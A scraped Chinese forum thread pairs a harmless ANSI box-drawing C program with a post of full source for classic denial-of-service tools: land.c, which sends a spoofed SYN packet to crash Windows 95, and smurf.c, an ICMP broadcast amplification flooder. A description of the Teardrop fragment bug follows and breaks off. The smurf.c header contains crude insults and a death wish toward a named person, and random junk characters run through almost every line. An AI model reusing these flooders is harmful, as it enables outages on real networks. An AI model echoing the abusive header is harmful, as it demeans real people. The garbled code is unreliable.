韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>$ w  C+ X0 }" {6 i9 l: X
<FONT color=#009900>/*
) p* t' {6 D" y( l*+ Q/ r! w- l2 f% Y5 @/ A
* Short driver module
* j. u! Z0 z0 |" J5 I*( I! Z( X& q3 R0 v4 o
*/</FONT></P><><FONT color=#009900>main()1 ~7 [4 ]0 [5 F/ p9 {3 e
{' r/ ?) D7 F2 N: L
clrscr();
1 w5 D' _  k1 Abox(1,1,23,79);
- Z% c9 a& |' T8 D4 ?  Ubox(2,2,21,77);
! l& H. s- G- d9 t  mbox(3,3,19,75);
6 F% Z" B" I; l# n9 Pbox(4,4,17,73);
+ y, x" V6 ]9 m- D/ o5 }8 J0 Obox(5,5,15,71);4 y# T! z2 B- N% c
box(6,6,13,69);
  ]+ S& N2 N2 S7 [1 j% Ebox(7,7,11,67);0 ^  B6 G# s7 d4 t/ G) q
box(8,8,9,65);! X+ z# \+ z( A! F" Q* @4 |
box(9,9,7,63);" W, s/ h. K6 S
box(10,10,5,61);
- L0 V- Y  U$ x; qbox(11,11,3,59);
* {3 V3 R  H. |- T6 gbox(12,12,1,57);+ C; N" E% N6 F5 k9 M/ M3 k
poscur(24,1);" g! q" w6 M" V; X4 }
}</FONT></P><><FONT color=#009900>/************************************************************& u  ]- r8 Q8 W  i* z+ N& a' i5 G
* BOX *
( g5 T8 _% @% U  T, ^  \" u*----------------------------------------------------------*' Q( o; m" n: A
* Written by: Jeff Ebert 7/01/87 *
  k$ V- k* {3 X5 @* Modified by: xxxxxxxxxx *
% x" G" T' Z+ U6 |  i* *
' d" \6 }/ d8 N' d* Please modify me! *& f& d% D* ^9 @- E' g# h& S3 U' g
* Possible Enhancements include but are not limited t */ k' q, S, I' b% n! q2 L  ^: k' L
* 1) Variable box character styles [1 line or 2] *
& R0 M( H( u: J% U7 b# P, V% t* 2) Error checking */ I2 p3 C6 p# Q) O/ W& w0 F' T* p
* 3) Color options *
2 d7 W$ w4 v. }, g$ v- B4 ?* *
1 X% l# U8 D7 E; O0 j* *
1 O5 N9 {8 s6 u1 e& N9 F8 i* This function builds a simple double frame for a menu. *% l/ L1 M7 n. C5 a( S& g
* The function is passed the parameters for the upper *8 V$ B9 t+ t9 N
* left corner row, upper left corner column the height *
4 B, g4 l+ T  q$ g* of the frame and the width. *3 L' d4 C4 _" D$ B/ H
* *# f6 Z0 _7 F7 H1 h/ v% z
************************************************************/4 n# v) o+ @5 T) O: [8 Z. D2 L% I
#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 2017 W/ a5 I; V. e, A3 i/ |: x5 x* G
#define URCOR 187- V" d+ ~# U6 N
#define LLCOR 200" ^3 }: L- R" c- u5 d
#define LRCOR 188. b; M( N* q9 D9 i+ A: p$ m$ i
#define VBAR 186; S  F0 o4 X: W' m9 Y9 s
#define HBAR 205
1 Y1 ]4 S7 ^/ E6 v; W% D0 W  K#define ESC 27</FONT></P><><FONT color=#009900>" U4 l- j' U0 V2 P' y
box(row, col, hgt, wdth)) t& w% L" h& z& k/ Z- L7 _
int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{6 y3 h$ p) P7 H$ o( ]& W
int x, y;</FONT></P><><FONT color=#009900>poscur(row,col);" a4 V+ L- z! G4 y
putchar(ULCOR);: d1 G5 }6 g0 O. h) G( E
for(x = col + 1; x &lt;=(col + wdth -1); x++)6 _8 F( s$ x- y- U. W
putchar(HBAR);
: M/ h/ e* V, N7 n8 m, Iputchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){) c; a5 b7 S' _% g
poscur(x,col);2 F3 U; g, w: F) M
putchar(VBAR);
6 [) ?# ~* ~8 ~8 O0 I" q. nposcur(x,col+wdth);
( Y3 B9 P) m6 _  l& sputchar(VBAR);
& e: K3 B% f+ t$ i7 [}# T6 k' W, I0 J% X! W
poscur(x,col);( S4 I" q6 d: N& x" a" k( `
putchar(LLCOR);9 c/ [, y& S; U
for(x= col + 1; x &lt;=(col + wdth -1); x++)5 j1 f+ _8 y& Q# L
putchar(HBAR);- d; n$ S- q, }  w2 m
putchar(LRCOR);1 q5 t) h. e  e7 |
}</FONT></P><><FONT color=#009900>/********************************************************, I6 Z; S( R0 W8 U# }
* POSCUR *" E; E6 F' f+ {; T) _6 t& S
*------------------------------------------------------*
3 J: }: ~7 G3 Y5 f7 l* This function positions the cursor at the specified *5 H) J* }! R0 c  M; [# O" ^2 b
* x,y coordinate. It uses the ANSI standard ESCAPE *
1 f3 N: e- @3 A7 m+ `4 s* sequence to produce the desired effect. Its not the *
! _/ k& ~- @2 t9 @7 h  r# m$ Y# w* fastest way to position the cursor, but perhaps the *  l$ o+ i# j3 i1 J7 v
* most portable. *# k+ L% t* R' v7 t; L$ q  s: Z
* *+ J2 {4 ?2 P4 k
********************************************************/
( t! {0 d1 l( F( f+ e: Y0 r2 X2 G+ ?poscur(xcor,ycor)
9 J8 ~+ ^( @0 @0 bint xcor,ycor;, P  M) l" d5 e
{
) S$ d0 p% U1 |+ I* fprintf("%c[%d;%dH",ESC,xcor,ycor);
! [$ Q8 a3 Q! F}</FONT></P><><FONT color=#009900>' K. l/ O2 }6 J% ]
/********************************************************
! N  R, D& i6 [- A8 n9 l% `: D* CLRSCR *
& o: E! Q1 K7 T1 ?*------------------------------------------------------*: [* r* T+ b- ^) j  ^
* This function positions the cursor at the specified *
4 o# {( u( V1 V. J! K* x,y coordinate. It uses the ANSI standard ESCAPE *
4 i- q; P% V& k( j* K" H4 p* sequence to produce the desired effect. Its not the *6 u0 R  n3 \3 [/ D, y
* fastest way to position the cursor, but perhaps the *
5 B7 S; ]( g& L* most portable. */ R% S, f( ^- L. \+ K
* *
' q$ G7 X: _. h1 \0 r4 D********************************************************/
: _0 X. Z) O( X  }. ^' ~clrscr()' y5 j0 t& J  G8 K0 Z
{
) |! ]2 D" O0 I6 H( Lprintf("%c[2J",ESC);  ^' n! _; d* N6 f+ z& |) f# C
}</FONT>
* ^2 d& F  L, y! f</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract! I5 `$ T9 J9 Z. S7 j! j- i
这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自  w7 [% X' I* i5 D7 q
己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>
( n5 z% _, E* b5 v<FONT color=#009900>/* land.c by m3lt, FLC) q& @# Z$ s9 _- R7 l' T
crashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>
! l& C5 R+ v  H3 d6 {* s2 W+ C0 |% A#include <NETDB.H>
3 x! Q/ e$ f, L2 U+ F+ e# z#include <ARPA inet.h>
+ U3 c8 ^: u2 J+ A9 J' n) |1 K. T#include <NETINET in.h>
/ L: `8 B% B! @" w% `#include <SYS types.h>9 ?5 }# j' O& d- k& C
#include <SYS socket.h>
# T: a) l; `: m2 h  b: w& O) ?% D#include <NETINET ip.h>* J3 P3 h! [, `
#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头4 R0 n2 U1 q8 z1 u' U. K4 {
struct pseudohdr
' \. u, G1 l8 s. G# i! B{1 u, K" e: @# s; i1 W' k+ B: \" A% ~
struct in_addr saddr;! f; A' ]  \7 @4 L1 I
struct in_addr daddr;1 d4 x! _9 _( |$ i1 l, _, J+ e5 D/ r
u_char zero;
! w% ]4 ^6 F. e4 ?u_char protocol;
6 ^( G4 O' ^- O4 O5 J- U$ Y6 yu_short length;
- K: [) q; B2 I) t7 d5 [! G: }struct tcphdr tcpheader;4 F+ ?" i9 W  _' D- n4 b+ p+ j" d! u) L
};</FONT></P><><FONT color=#009900>//计算IP校验和  T% E" T, h$ H4 X( `4 ^
u_short checksum(u_short * data,u_short length)
6 D$ U' ]" |' b% x! Q7 }  e{
3 B* }5 O  o# W8 j. I- M7 ~register long value;
4 J2 z7 Q1 F1 su_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)4 Q9 |, C: _' a) F' W5 i5 z7 i
value+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)
4 F$ |3 v: F1 x7 B6 Hvalue+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
- F" H6 u7 k$ U+ ~- a' x& Q}</FONT></P><><FONT color=#009900>) ~5 `" Y0 n. N8 m( k4 W8 T; N
int main(int argc,char * * argv). E4 d0 W/ I" s3 ?1 T
{5 G- u+ ^5 E. C; b8 J/ V, ~
struct sockaddr_in sin;' c, v+ N4 n' G2 Q# e; D0 y# W
struct hostent * hoste;6 @+ A. Y; ~9 V; T
int sock;& M% S, w$ V4 f5 O$ w# C9 a
char buffer[40];
& ?$ C0 s/ f9 g- cstruct iphdr * ipheader=(struct iphdr *) buffer;
, _0 _+ j( K+ H( D8 ~1 Tstruct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));& y/ o; b+ w$ g3 `  D% K
struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)
3 |: \- B& O; v$ b- g9 s1 X{
/ h# i8 ~2 S3 h# D  U8 U$ zfprintf(stderr,"usage: %s IP port\n",argv[0]);
# z/ Q1 J. @2 @" Z2 mreturn(-1);
& p  O- A5 w, R* D}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
4 w  t; C8 R6 O: [$ Gsin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)
+ k1 m5 v/ `2 @0 Q6 nbcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);7 K0 e/ G# v6 J4 f
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1). z+ }8 I/ H. ?8 R! e! T* ^
{
1 l1 ]; k. B. P& ?5 s! Zfprintf(stderr,"unknown host %s\n",argv[1]);
' x8 q, D! m7 G( K/ N8 y& d1 i% dreturn(-1);
; ^/ z4 O# \5 N# C! L}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
/ I/ o  t6 u7 L/ M{
! H$ B( u1 a, m6 ~fprintf(stderr,"unknown port %s\n",argv[2]);
9 k) P; \8 R; g8 `; e- A$ Z/ X( hreturn(-1);, R* {1 |8 j% K  u
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限% Y( U& n4 U7 l' n- ~, H
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
5 G/ K6 \/ {4 ^3 Q: d- V6 p{: s( i0 F9 V1 a- u0 |
fprintf(stderr,"couldn't allocate raw socket\n");
% L4 a' j* S4 A- R. z; Ireturn(-1);
( e4 o: r! B0 q! n& T7 Y8 b}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
5 v9 W9 @% G$ v) x8 |, F: R  Xipheader-&gt;version=4;
4 L9 }, J2 U: n* ~0 X9 [7 K( k4 Nipheader-&gt;ihl=sizeof(struct iphdr)/4;( E+ x( h7 p! m
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
( O! N8 y& O; r$ [& ?, iipheader-&gt;id=htons(0xF1C);
  Y3 k; |" M/ mipheader-&gt;ttl=255;
9 h8 `+ M/ O% ]& Uipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同6 u3 v8 R: `' ?' ?
ipheader-&gt;saddr=sin.sin_addr.s_addr;
2 G5 _3 N% L* l8 pipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同  T( F4 K* X0 p! o- n- x' q
tcpheader-&gt;th_sport=sin.sin_port;
& D0 Z% L& i) Y  h) ]* u* \tcpheader-&gt;th_dport=sin.sin_port;% h$ u$ D- f. K# R3 [
tcpheader-&gt;th_seq=htonl(0xF1C);" M; Q7 T  L# ?0 T
tcpheader-&gt;th_flags=TH_SYN;
# G, X3 l0 ?6 t6 e9 E0 rtcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
: N8 E5 l, j. P5 K2 D! \tcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));8 S* ^* }# O  q% [' D% j+ h8 u
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;6 r# z' z8 J# ]# e
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;! c$ H( m& E  h  j  T7 v
pseudoheader.protocol=6;! x- m9 H* ?  v! \4 P; K4 i
pseudoheader.length=htons(sizeof(struct tcphdr));
5 e; C# D1 u3 n! c$ x; U6 o3 Wbcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
6 P, a/ `  K1 @% Etcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr)," m0 S$ A, V6 e5 D, R- r  L
0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)
* H3 t; m3 y/ d& _1 [9 y7 w/ F{9 O; Q2 x1 i8 x- ]! V
fprintf(stderr,"couldn't send packet\n");
+ ?7 c# F( x  h9 ]% X) Vreturn(-1);
, t) B" ]# S% h% q$ T5 x: a$ t}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);! \) Z  C5 K( R0 q4 c
return(0);
% y" X1 u* ~+ g/ A}</FONT></P><>
( K2 L% n- z+ d, {: g2 Smurf
6 E/ T) O/ k! `, H# i7 E$ psmurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数; |1 z  z* z/ N7 g$ W
据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包
$ m1 c$ i3 f8 e6 \2 O7 @的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些4 d* z  L' u6 [3 C
icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢4 B$ k# w+ E8 u4 z4 p& R
(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变
9 [8 E- `& t! D. K) j1 R, `成不可能(没有WINS服务器时)。</P><P>/*1 M, j: Y. U. \- B1 v
*
: p( [4 \5 X2 T4 x* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
- B, Z" {7 H: E# Y$ t. K*
0 ?3 T# @- W4 }+ p8 u$ Y! }6 z* spoofs icmp packets from a host to various broadcast addresses resulting
' Q% J/ j: X) ]. {* ]3 {! P  U( U* in multiple replies to that host from a single packet.4 p# m( u+ M" T. F$ N7 S
*6 |6 {+ B' w( {# N
* mad head t! b- A: B, N& _( {; q8 Z& \
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,7 h8 A5 y- T9 U: B' f9 h, ]
* MissSatan for swallowing, napster for pimping my sister, the guy that: v7 s; C6 Z) m' Y" k" M! r
* invented vaseline, fyber for trying, knowy, old school #havok, kain
+ l5 K' v0 N0 T* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might# l, J6 l4 `/ k) Z% ?$ q2 ~
* have missed (you know who you are).( U- E! K: `) g4 U" j& D8 H7 ]
*
8 r8 j' q7 D2 ]/ h% o) Q) f* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
5 d$ ^! N$ A& h3 ~, S$ Y3 n* thing he is (he's -almost- as stubborn as me, still i managed to pick up- F5 e: S1 P4 \4 H6 K. {
* half the cheque).
4 u* @/ y+ Z+ F" u6 C*& n) a+ S- H4 C" l& i
* and a special hi to Todd, face it dude, you're fucking awesome.$ }) N. r  e! c# Z. a1 M8 Y2 d
*
0 S" L: E$ ]% m& x* mad anal t
5 q  W* ~7 k, d, I* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps& v$ z4 A( f% q( r7 R$ k& V: q1 Y0 r
* because they plain suck, Rolex for being a twit, everyone that- _6 Z' |. b' p) ]
* trades warez, Caren for being a lesbian hoe, AcidKill for being her
# z( N3 T) l& h9 T/ j0 l) y* partner, #cha0s, sedriss for having an ego in inverse proportion to$ F+ f6 Z3 Y2 B! t$ W
* his penis and anyone that can't pee standing up -- you don't know what- x0 d1 e+ U8 \9 v1 {3 V; w3 ^- \
* your missing out on.
) K+ V4 I) G5 C*1 e3 O8 Z  ~9 k9 e3 G; A" y0 X
* and anyone thats ripped my code (diff smurf.c axcast.c is rather. i* t" t8 ~. U/ M9 G9 ~/ z
* interesting).4 t3 T* z6 Y9 v
*2 ]5 Z$ G6 R0 V. w1 u9 N" t! Y
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
" m5 U: z2 G6 |2 L. v% C* Robbins for trying to steal my girlfriend. Not only did you show me3 z, e* F  B; N* T$ A; y/ t. j
* no respect but you're a manipulating prick who tried to take away the
+ _1 o! w+ u& m* o* b/ J: q+ K* most important thing in the world to me with no guilt whatsoever, and
- Z/ {: L6 J8 M) i5 e* for that I wish you nothing but pain. Die.) `5 R( _% m* n  C
*/ O( U0 f3 v4 U- ], E- J5 \' l: i
* disclaimer:
2 `9 ?7 t8 v+ ?* I cannot and will not be held responsible nor legally bound for the; Z$ a3 h, C2 T! V( `
* malicious activities of individuals who come into possession of this! f# o6 i5 P0 g
* program and I refuse to provide help or support of any kind and do NOT; l! @8 u- i* E; C; e+ ?% K
* condone use of this program to deny service to anyone or any machine.
9 s; S4 ~+ a( C1 y! W/ N' M* This is for educational use only. Please Don't abuse this.5 P7 `, V& w! p
*
5 L1 ]' e" r& W9 f6 |* Well, i really, really, hate this code, but yet here I am creating another, R% o, k  S* P1 ?/ r
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
$ j* W4 c. i- D+ ~: s* like most programmers don't like seeing bugs in their code. I saw a few
  }- m- ^% I6 C" C* things that should have been done better or needed fixing so I fixed
- E& W! v$ w3 R9 W- Z5 m  ?* them. -shrug-, programming for me as always seemed to take the pain away
4 v8 l8 Z1 h5 s  f( I* ...: }  P: p# r. _  }1 h* O
*
/ m+ c: o: W' M" [1 x5 `*
- b( w0 u, r/ t*/</P><P>#include <SIGNAL.H>8 f/ l* q4 K6 n) F7 `( j
#include <STDIO.H>
% d  i' y/ N; ?1 n& Y#include <STDLIB.H>
+ G/ j9 m6 G7 c0 i#include <SYS socket.h>
# C5 S2 N( n! r- x6 Z1 L#include <SYS types.h>1 w4 h- A3 i, P. k7 F1 v
#include <NETINET in.h>
+ N( E5 @3 u$ ]# ~#include <NETINET ip.h>
8 _8 Z4 `! \4 [/ x; @, G  G#include <NETINET ip_icmp.h>0 S; e3 V# r/ ~+ S4 H' u% G$ ]
#include <NETDB.H>3 f$ }' W) E" k  G9 l: S
#include <CTYPE.H>
5 G1 `4 D! G1 u3 a5 ?6 ?' ?+ {; D#include <ARPA inet.h>
; U! a9 [  B$ `' _# t+ z#include <UNISTD.H>% R: M$ B) n9 F; e$ `
#include <STRING.H></P><P>void banner(void);
2 l: C7 W' s, j4 B3 C7 A3 Qvoid usage(char *);# c( i( a( A( Y6 N
void smurf(int, struct sockaddr_in, u_long, int);9 R$ s* L! x. r5 `: ]
void ctrlc(int);% G, I, {% ~7 M6 K& Q0 [
unsigned short in_chksum(u_short *, int);</P><P>/* stamp */* T6 i/ Z; R  ^* _
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])2 _6 l) ~7 X) k) J3 x3 f6 B# k- j
{5 R/ `/ |  A; ~# F+ F: |' [
struct sockaddr_in sin;
& S3 e0 m0 x. B* ]: Hstruct hostent *he;0 f- V+ u$ v& ^- \' j7 N
FILE *bcastfile;) F3 Z  P" k! S5 m$ {
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
3 W( f- d8 j" ~1 Q( l( T& K2 V* ~- rchar buf[32], **bcastaddr = malloc(8192);</P><P>banner();
# z, F2 P5 ^7 p8 c' s( C4 Lsignal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
0 x) L# u2 x  v) V# wperror("resolving source host");# `: ~9 s  l8 d9 G7 \3 b  v4 R- O
exit(-1);2 L$ u( y8 I0 D' e0 b/ f- D
}$ J: K3 m: ?% V. g0 a- @. ~- O0 p
memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);# M, \/ \- j$ e) _- g
sin.sin_family = AF_INET;
. T2 `* T( }) ^2 bsin.sin_port = htons(0);</P><P>num = atoi(argv[3]);9 n( f# _; L. K; j  I
delay = atoi(argv[4]);- V" d: ~( ?% j  i- X
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {
. N+ K+ F3 m3 Mperror("opening bcast file");. T% r9 t& ?( I5 [3 r
exit(-1);+ P% t6 @- M: ?- N9 f0 K2 @. \3 h
}4 z" l# S6 P& \5 o$ `5 Z' n
x = 0;
! A3 x  A+ W" l! i8 Wwhile (!feof(bcastfile)) {
* T2 g3 M: w+ ^: A3 n9 H; Q7 }- tfgets(buf, 32, bcastfile);
8 l7 ]4 p- Q0 B2 }" A0 F7 R, ]5 hif (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;6 x. s# R$ ?' h% o5 @" S
for (i = 0; i &lt; strlen(buf); i++)4 `! ?3 a9 i, T/ ~. h2 f% G, o8 J
if (buf == '\n') buf = '\0';/ V3 B! ~+ K8 y# e0 \
bcastaddr[x] = malloc(32);. y  g5 s2 E) X$ c% D! |7 w9 P+ y
strcpy(bcastaddr[x], buf);; k7 w' F* v6 r, ]1 Q! e* C
x++;7 q; D2 `. }% Z) }: }% [3 }
}# B# x* F4 S- H- z5 j6 ^/ k5 G
bcastaddr[x] = 0x0;
. t; E' ?8 f$ U& u7 l8 Pfclose(bcastfile);</P><P>if (x == 0) {  L* A' I6 J! k( C' b1 i3 b$ a3 g: G
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);' ]) n" W$ L# T
exit(-1);
7 ]; w5 o. y) k: W}
8 e  g; j: }* e! h  |) aif (pktsize &gt; 1024) {* K* D+ l+ U* Y
fprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");+ ^* M  e: ?4 |- Q& t  h# Q" U$ F" i# a
exit(-1);
, h1 |; P1 N7 J  W  x6 H}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
/ F3 S( e9 P; w. U6 F5 B# a# {: Cperror("getting socket");! B+ t( @8 L. K' J: z
exit(-1);
! f$ L* O' j. e* p2 j# e}
+ f/ _# I1 B, M$ nsetsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {' T( q- R2 j' ?1 |& c9 T; R% g
if (!(i % 25)) { printf("."); fflush(stdout); }/ i6 c( T3 L! ~6 G3 m" g' p7 w% i
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
8 V2 i$ P+ Q/ Z% R3 S4 }0 Vcycle++;
- s: F( I; Y4 _$ O/ f( ^+ Xif (bcastaddr[cycle] == 0x0) cycle = 0;, J& y' I7 ^9 Z( ]4 s- n
usleep(delay);
9 w) Y( `1 D" H8 S}9 l3 H; b* r4 F
puts("\n\n");6 V/ h8 t+ b) s6 o/ b  |  ~- S6 w
return 0;1 a: b6 z. v8 |+ \5 D. t. [0 z
}</P><P>void banner (void)# x; Z. E% {9 d0 H
{9 [1 l7 o/ R+ h6 ^
puts("\nsmurf.c v4.0 by TFreak\n");3 U7 J+ f' O5 U8 E
}</P><P>void usage (char *prog). f1 u0 @- u) L: Y
{
6 E0 f* j; T3 A/ H/ T- Qfprintf(stderr, "usage: %s <TARGET><BCAST file>"
& m  O7 ~. X( M7 K8 _"<NUM packets> <PACKET delay><PACKET size>\n\n"
% q4 u6 [( F1 K" q/ L6 Z: _8 R"target = address to hit\n") ?+ v, n  h8 z7 C/ U
"bcast file = file to read broadcast addresses from\n"
# e% \" s  I  |. a"num packets = number of packets to send (0 = flood)\n"1 e0 M# |& y3 D* x) Z: f
"packet delay = wait between each packet (in ms)\n"( y9 i; ?: b* O. v  @5 ~# {
"packet size = size of packet (&lt; 1024)\n\n", prog);
, e! ^5 A8 ]9 m, z2 O. V& Q! Zexit(-1);( E; g8 H5 d' T, N% p
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)0 D+ t* J% u- u6 U2 i
{: l- O$ Z( R  t  I
struct iphdr *ip;
( o/ Q$ X2 [" K; Sstruct icmphdr *icmp;
9 l8 h, n/ p9 l2 k! ~' ?1 [  Uchar *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
! B! a6 P' D/ rip = (struct iphdr *)packet;
/ a+ s, }9 |% q* g( O; J+ nicmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);8 M, F" G. w1 {
ip-&gt;ihl = 5;
% m  K/ U' O4 C6 xip-&gt;version = 4;% }! i( W9 b  b- Z: f0 h. Z
ip-&gt;ttl = 255;8 B9 |& O6 Y) d
ip-&gt;tos = 0;
$ W: ~5 ^( O0 A: Oip-&gt;frag_off = 0;/ x1 R" r9 T" O7 a* z" x
ip-&gt;protocol = IPPROTO_ICMP;/ U8 [/ B/ [* ]) b& S
ip-&gt;saddr = sin.sin_addr.s_addr;
1 O$ h1 S* T% n2 T( Vip-&gt;daddr = dest;% n* y+ V4 [4 k
ip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
$ s" m7 R% m7 E: Q. B: k5 Zicmp-&gt;type = 8;
6 J9 m) Z  S& T; z2 _icmp-&gt;code = 0;
. V* _7 Q  A8 o# w1 F5 Dicmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,6 j! Q# ]6 p4 u1 w; w5 v
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */
, p+ X6 b' x" N}</P><P>void ctrlc (int ignored); c: C: q; }) U: i
{
6 b* o1 d# {5 x3 }! Z7 q; A( X" [puts("\nDone!\n");
1 p% n8 b9 F8 `( Q0 ~9 V  D8 {exit(1);! v2 s  m% E# v, m" B9 Z6 h
}</P><P>unsigned short in_chksum (u_short *addr, int len)( ^+ L4 A" o! Z/ w
{% z8 H1 F! H! B/ c4 ]
register int nleft = len;4 k+ q  p% E, G/ J
register int sum = 0;
& ?' p3 X; s$ B; |* W. U( iu_short answer = 0;</P><P>while (nleft &gt; 1) {5 f! y2 q, u4 U
sum += *addr++;
$ U8 `/ \$ q: U, ~' cnleft -= 2;% @" V% V4 M: Z+ p: j8 a* G8 j( W
}</P><P>if (nleft == 1) {
" O; v4 x+ j/ ?: U*(u_char *)(&amp;answer) = *(u_char *)addr;
- |. i* H" Z* t- o  L) `sum += answer;. _* ^# @8 \) K3 e( s  q$ O
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);
1 e7 D/ g8 t& T+ e; i  x! A; Rsum += (sum &gt;&gt; 16);
3 q" H: ?0 p% S1 J: U# T8 c7 T& ganswer = ~sum;: H& m: H# Z1 f) m) l
return(answer);: s( g1 l+ Z8 v. N; x' b
}</P><P>
9 W( P1 Y4 f6 G% _3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:
3 h; h+ v5 I& ~fp = qp-&gt;fragments;
7 i; p( L( Y& o: x# Bwhile(fp != NULL)
7 e" u- i( `! I5 P* [: \{7 F2 q0 B- f; T2 m1 k. |' x
if(count+fp-&gt;len &gt; skb-&gt;len)0 F5 V4 o0 p- V& k9 q2 f
{" M5 T' z: H5 `! L
error_to_big;
& w$ X5 |) @/ g/ P}
6 j' T+ Z7 k5 y9 W0 |7 o: F2 z, x! }memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);6 M0 H) M8 N. u$ I
count += fp-&gt;len;5 A1 L$ {5 p2 L" S; ]
fp = fp-&gt;next;
" q6 }' y1 K' f* M; L}
9 N) k9 K7 Y$ O这里只检查了长度过大的情况,而没有考虑长度过小的情况,
: k2 k; n* a4 ]+ i: m如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:
